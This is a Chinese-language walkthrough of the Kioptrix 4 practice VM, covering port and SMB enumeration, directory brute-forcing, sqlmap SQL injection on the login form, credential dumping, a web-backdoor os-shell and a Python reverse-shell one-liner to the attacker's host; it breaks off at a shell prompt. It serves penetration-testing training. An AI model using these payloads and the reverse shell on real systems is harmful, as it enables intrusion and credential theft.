Kioptrix 4 靶机

Kioptrix 4 靶机

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sudo nmap --min-rate 10000 -p- 192.1.1.135
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 09:47 EDT
Nmap scan report for 192.1.1.135
Host is up (0.0016s latency).
Not shown: 39528 closed tcp ports (reset), 26003 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:D5:52:BC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 18.66 seconds

开放了 22,80,139,445 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sudo nmap -sT -sV -sC -O -p22,80,139,445 192.1.1.135
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 09:49 EDT
Nmap scan report for 192.1.1.135
Host is up (0.00039s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn\'t have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:D5:52:BC (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2023-07-15T17:50:22-04:00
|_clock-skew: mean: 10h00m04s, deviation: 2h49m41s, median: 8h00m04s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.43 seconds

Debian 操作系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sudo nmap --script=vuln -p22,80,139,445 192.1.1.135
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 09:51 EDT
Nmap scan report for 192.1.1.135
Host is up (0.00028s latency).

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server\'s resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn\'t find any DOM based XSS.
| http-enum:
| /database.sql: Possible database backup
| /icons/: Potentially interesting folder w/ directory listing
| /images/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_ /index/: Potentially interesting folder
|_http-csrf: Couldn\'t find any CSRF vulnerabilities.
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:D5:52:BC (VMware)

Host script results:
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 327.70 seconds

枚举结果中有些比较有意思的 /database.sql, /images/, index。接下来要做两件事,首先是更全面的目录扫描,再一个是关于 smb,使用 nmap 自带的脚本进行扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sudo smbmap -H 192.1.1.135
[sudo] password for kali:
[+] IP: 192.1.1.135:445 Name: 192.1.1.135
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (Kioptrix4 server (Samba, Ubuntu))

┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sudo nmap --script=smb-enum-shares.nse,smb-enum-users.nse 192.1.1.135
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 09:53 EDT
Nmap scan report for 192.1.1.135
Host is up (0.00014s latency).
Not shown: 566 closed tcp ports (reset), 430 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:D5:52:BC (VMware)

Host script results:
| smb-enum-shares:
| account_used: guest
| \\192.1.1.135\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (Kioptrix4 server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\192.1.1.135\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
| smb-enum-users:
| KIOPTRIX4\john (RID: 3002)
| Full name: ,,,
| Flags: Normal user account
| KIOPTRIX4\loneferret (RID: 3000)
| Full name: loneferret,,,
| Flags: Normal user account
| KIOPTRIX4\nobody (RID: 501)
| Full name: nobody
| Flags: Normal user account
| KIOPTRIX4\robert (RID: 3004)
| Full name: ,,,
| Flags: Normal user account
| KIOPTRIX4\root (RID: 1000)
| Full name: root
|_ Flags: Normal user account

Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds

目录爆破

虽然枚举出了很多 user,但是共享的路径中没有特别值得关注的,看看目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sudo dirsearch -u http://192.1.1.135

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.1.1.135/_23-07-15_09-58-59.txt

Error Log: /root/.dirsearch/logs/errors-23-07-15_09-58-59.log

Target: http://192.1.1.135/

[09:59:00] Starting:
[09:59:01] 403 - 329B - /.ht_wsr.txt
[09:59:01] 403 - 333B - /.htaccess_extra
[09:59:01] 403 - 332B - /.htaccess.bak1
[09:59:01] 403 - 332B - /.htaccess_orig
[09:59:01] 403 - 331B - /.htaccessOLD2
[09:59:01] 403 - 330B - /.htaccess_sc
[09:59:01] 403 - 332B - /.htaccess.save
[09:59:01] 403 - 330B - /.htaccessBAK
[09:59:01] 403 - 332B - /.htaccess.orig
[09:59:01] 403 - 334B - /.htaccess.sample
[09:59:01] 403 - 330B - /.htaccessOLD
[09:59:01] 403 - 323B - /.html
[09:59:01] 403 - 322B - /.htm
[09:59:01] 403 - 328B - /.htpasswds
[09:59:01] 403 - 332B - /.htpasswd_test
[09:59:01] 403 - 329B - /.httr-oauth
[09:59:13] 403 - 326B - /cgi-bin/
[09:59:13] 200 - 109B - /checklogin
[09:59:13] 200 - 109B - /checklogin.php
[09:59:15] 200 - 298B - /database.sql
[09:59:15] 403 - 322B - /doc/
[09:59:15] 403 - 326B - /doc/api/
[09:59:15] 403 - 337B - /doc/html/index.html
[09:59:15] 403 - 336B - /doc/stable.version
[09:59:15] 403 - 337B - /doc/en/changes.html
[09:59:18] 200 - 930B - /images/
[09:59:18] 301 - 350B - /images -> http://192.1.1.135/images/
[09:59:19] 200 - 1KB - /index.php
[09:59:19] 200 - 1KB - /index
[09:59:19] 200 - 1KB - /index.php/login/
[09:59:21] 302 - 0B - /logout -> index.php
[09:59:21] 302 - 0B - /logout.php -> index.php
[09:59:21] 302 - 0B - /logout/ -> index.php
[09:59:21] 302 - 220B - /member -> index.php
[09:59:21] 302 - 220B - /member.php -> index.php
[09:59:21] 302 - 220B - /member/login.php -> index.php
[09:59:21] 302 - 220B - /member/ -> index.php
[09:59:21] 302 - 220B - /member/login -> index.php
[09:59:22] 302 - 220B - /member/login.html -> index.php
[09:59:22] 302 - 220B - /member/admin.asp -> index.php
[09:59:22] 302 - 220B - /member/login.js -> index.php
[09:59:22] 302 - 220B - /member/login.jsp -> index.php
[09:59:22] 302 - 220B - /member/login.aspx -> index.php
[09:59:22] 302 - 220B - /member/login.asp -> index.php
[09:59:22] 302 - 220B - /member/login.py -> index.php
[09:59:22] 302 - 220B - /member/logon -> index.php
[09:59:22] 302 - 220B - /member/login.rb -> index.php
[09:59:22] 302 - 220B - /member/signin -> index.php
[09:59:28] 403 - 331B - /server-status
[09:59:28] 403 - 332B - /server-status/

整理下需要关注的目录:/checklogin.php, /database.sql, index,不过有点不放心,毕竟没有专门指定后缀名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sudo gobuster dir -u http://192.1.1.135 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,rar,gz,txt,sql
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.1.1.135
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: gz,txt,sql,php,zip,rar
[+] Timeout: 10s
===============================================================
2023/07/15 10:10:35 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 1255]
/images (Status: 301) [Size: 350] [--> http://192.1.1.135/images/]
/index (Status: 200) [Size: 1255]
/member (Status: 302) [Size: 220] [--> index.php]
/member.php (Status: 302) [Size: 220] [--> index.php]
/database.sql (Status: 200) [Size: 298]
/logout (Status: 302) [Size: 0] [--> index.php]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/john (Status: 301) [Size: 348] [--> http://192.1.1.135/john/]
/robert (Status: 301) [Size: 350] [--> http://192.1.1.135/robert/]
/server-status (Status: 403) [Size: 331]
Progress: 1542950 / 1543927 (99.94%)
===============================================================
2023/07/15 10:15:58 Finished
===============================================================

这下子的确发现了一些额外的目录,分别开始尝试吧

进入 Web 界面发现是个登录界面

尝试搜一下漏洞库里有没有,毕竟是 2013 年的

1
2
3
4
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ searchsploit LigGoat
Exploits: No Results
Shellcodes: No Results

并没有漏洞信息,接下来看看 sql 文件

得到了一个用户名和密码,尝试登录但是失败,可能是 1234 这个密码被修改过了,但是用户名应该是没问题的。尝试 burp 抓包,进行密码爆破

爆破虽然没有得到密码,但是却发现了存在 SQL 注入

SQL 注入

直接 SQLMap 吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sqlmap -r login --current-db
___
__H__
___ ___[,]_____ ___ ___ {1.7.6#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:26:55 /2023-07-15/

[10:26:55] [INFO] parsing HTTP request from 'login'
[10:26:56] [INFO] testing connection to the target URL
[10:26:56] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:26:56] [INFO] testing if the target URL content is stable
[10:26:56] [INFO] target URL content is stable
[10:26:56] [INFO] testing if POST parameter 'myusername' is dynamic
[10:26:56] [WARNING] POST parameter 'myusername' does not appear to be dynamic
[10:26:56] [WARNING] heuristic (basic) test shows that POST parameter 'myusername' might not be injectable
[10:26:56] [INFO] testing for SQL injection on POST parameter 'myusername'
[10:26:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:26:56] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:26:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:27:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:27:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:27:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:27:06] [INFO] testing 'Generic inline queries'
[10:27:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[10:27:06] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[10:27:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[10:27:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:27:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[10:27:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:27:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[10:27:07] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[10:27:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:27:09] [WARNING] POST parameter 'myusername' does not seem to be injectable
[10:27:09] [INFO] testing if POST parameter 'mypassword' is dynamic
[10:27:09] [WARNING] POST parameter 'mypassword' does not appear to be dynamic
[10:27:09] [INFO] heuristic (basic) test shows that POST parameter 'mypassword' might be injectable (possible DBMS: 'MySQL')
[10:27:09] [INFO] testing for SQL injection on POST parameter 'mypassword'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[10:27:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:27:12] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:27:12] [INFO] testing 'Generic inline queries'
[10:27:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[10:27:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
got a 302 redirect to 'http://192.1.1.135/login_success.php?username=john'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
[10:27:15] [INFO] POST parameter 'mypassword' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --code=302)
……………………………………
[10:27:25] [INFO] POST parameter 'mypassword' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[10:27:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[10:27:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:27:25] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[10:27:25] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[10:27:25] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[10:27:25] [INFO] checking if the injection point on POST parameter 'mypassword' is a false positive
POST parameter 'mypassword' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[10:27:30] [WARNING] POST parameter 'Submit' does not appear to be dynamic
[10:27:30] [WARNING] heuristic (basic) test shows that POST parameter 'Submit' might not be injectable
………………………………………………
[10:27:41] [WARNING] POST parameter 'Submit' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 3377 HTTP(s) requests:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=john&mypassword=-2527' OR 7958=7958#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=john&mypassword=1234' AND (SELECT 6799 FROM (SELECT(SLEEP(5)))huMm)-- NgWU&Submit=Login
---
[10:27:41] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, PHP, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[10:27:41] [INFO] fetching current database
[10:27:41] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:27:41] [INFO] retrieved: members
current database: 'members'
[10:27:41] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.1.1.135'

[*] ending @ 10:27:41 /2023-07-15/

得到了数据库名字,那接下来依次获取感兴趣的信息就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sqlmap -r login -p password -D members --tables
___
__H__
___ ___[)]_____ ___ ___ {1.7.6#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:28:44 /2023-07-15/

[10:28:44] [INFO] parsing HTTP request from 'login'
[10:28:44] [CRITICAL] all testable parameters you provided are not present within the given request data

[*] ending @ 10:28:44 /2023-07-15/


┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sqlmap -r login -D members --tables
___
__H__
___ ___[)]_____ ___ ___ {1.7.6#stable}
|_ -| . [ ] | . | . |
|___|_ [ ]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user\'s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:28:51 /2023-07-15/

[10:28:51] [INFO] parsing HTTP request from 'login'
[10:28:51] [INFO] resuming back-end DBMS 'mysql'
[10:28:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=john&mypassword=-2527' OR 7958=7958#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=john&mypassword=1234' AND (SELECT 6799 FROM (SELECT(SLEEP(5)))huMm)-- NgWU&Submit=Login
---
[10:28:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 5.0.12
[10:28:51] [INFO] fetching tables for database: 'members'
[10:28:51] [INFO] fetching number of tables for database 'members'
[10:28:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:28:51] [INFO] retrieved:
got a 302 redirect to 'http://192.1.1.135/login_success.php?username=john'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
1
[10:28:57] [INFO] retrieved: members
Database: members
[1 table]
+---------+
| members |
+---------+

[10:28:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.1.1.135'

[*] ending @ 10:28:57 /2023-07-15/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sqlmap -r login -D members -T members --dump
___
__H__
___ ___[ ]_____ ___ ___ {1.7.6#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user\'s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:29:16 /2023-07-15/

[10:29:16] [INFO] parsing HTTP request from 'login'
[10:29:16] [INFO] resuming back-end DBMS 'mysql'
[10:29:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=john&mypassword=-2527' OR 7958=7958#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=john&mypassword=1234' AND (SELECT 6799 FROM (SELECT(SLEEP(5)))huMm)-- NgWU&Submit=Login
---
[10:29:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 5.0.12
[10:29:16] [INFO] fetching columns for table 'members' in database 'members'
[10:29:16] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:29:16] [INFO] retrieved:
got a 302 redirect to 'http://192.1.1.135/login_success.php?username=john'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
3
[10:29:18] [INFO] retrieved: id
[10:29:18] [INFO] retrieved: username
[10:29:19] [INFO] retrieved: password
[10:29:19] [INFO] fetching entries for table 'members' in database 'members'
[10:29:19] [INFO] fetching number of entries for table 'members' in database 'members'
[10:29:19] [INFO] retrieved: 2
[10:29:19] [INFO] retrieved: MyNameIsJohn
[10:29:20] [INFO] retrieved: 1
[10:29:20] [INFO] retrieved: john
[10:29:20] [INFO] retrieved: ADGAdsafdfwt4gadfga==
[10:29:21] [INFO] retrieved: 2
[10:29:21] [INFO] retrieved: robert
Database: members
Table: members
[2 entries]
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | john | MyNameIsJohn |
| 2 | robert | ADGAdsafdfwt4gadfga== |
+----+----------+-----------------------+

[10:29:21] [INFO] table 'members.members' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.1.1.135/dump/members/members.csv'
[10:29:21] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.1.1.135'

[*] ending @ 10:29:21 /2023-07-15/

得到了用户名和密码,先尝试登录刚才页面里的登录框,但是登陆后只能说啥都没有

尝试一下 os-shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ sqlmap -r login --os-shell
___
__H__
___ ___[.]_____ ___ ___ {1.7.6#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:30:50 /2023-07-15/

[10:30:50] [INFO] parsing HTTP request from 'login'
[10:30:50] [INFO] resuming back-end DBMS 'mysql'
[10:30:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=john&mypassword=-2527' OR 7958=7958#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=john&mypassword=1234' AND (SELECT 6799 FROM (SELECT(SLEEP(5)))huMm)-- NgWU&Submit=Login
---
[10:30:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[10:30:50] [INFO] going to use a web backdoor for command prompt
[10:30:50] [INFO] fingerprinting the back-end DBMS operating system
[10:30:50] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

[10:31:01] [INFO] retrieved the web server document root: '/var/www'
[10:31:01] [INFO] retrieved web server absolute paths: '/var/www/checklogin.php'
[10:31:01] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[10:31:01] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://192.1.1.135:80/tmpupkhq.php
[10:31:01] [WARNING] unable to upload the file through the web file stager to '/var/www/'
[10:31:01] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers
do you want to try the same method used for the file stager? [Y/n] y
[10:31:04] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://192.1.1.135:80/tmpbhprh.php
[10:31:04] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

成功

不使用 SQLMap 的方法

这个方法是在 YouTube 上看到的 Kioptrix-4 Walkthrough with S1REN! - YouTube

1
wfuzz -c -z file./usr/shar/seclists/Fuzzing/SQLi/qucik-SQLi.txt -d "myusername=john&mypassword=FUZZ&Submit=Login" --hc 404 http://192.1.1.135/checklogin.php

根据返回的字符,选择 payload 尝试在浏览器里看结果,最后再次确定过滤条件

1
wfuzz -c -z file./usr/shar/seclists/Fuzzing/SQLi/qucik-SQLi.txt -d "myusername=john&mypassword=FUZZ&Submit=Login" --hc 404 --hh 109,264 http://192.1.1.135/checklogin.php

得到:

登录之后可以在页面中直接得到密码,然后可以尝试 ssh 登录了。

Getshell

不过这个 shell 不是很习惯,考虑反弹个 shell 吧

1
2
3
4
5
6
7
8
9
os-shell> which python
do you want to retrieve the command standard output? [Y/n/a]
command standard output: '/usr/bin/python'
os-shell> python --version
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'Python 2.5.2'
os-shell> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.1.1.128",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
do you want to retrieve the command standard output? [Y/n/a]
No output

发现有 python 环境,那就使用 python 来反弹 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
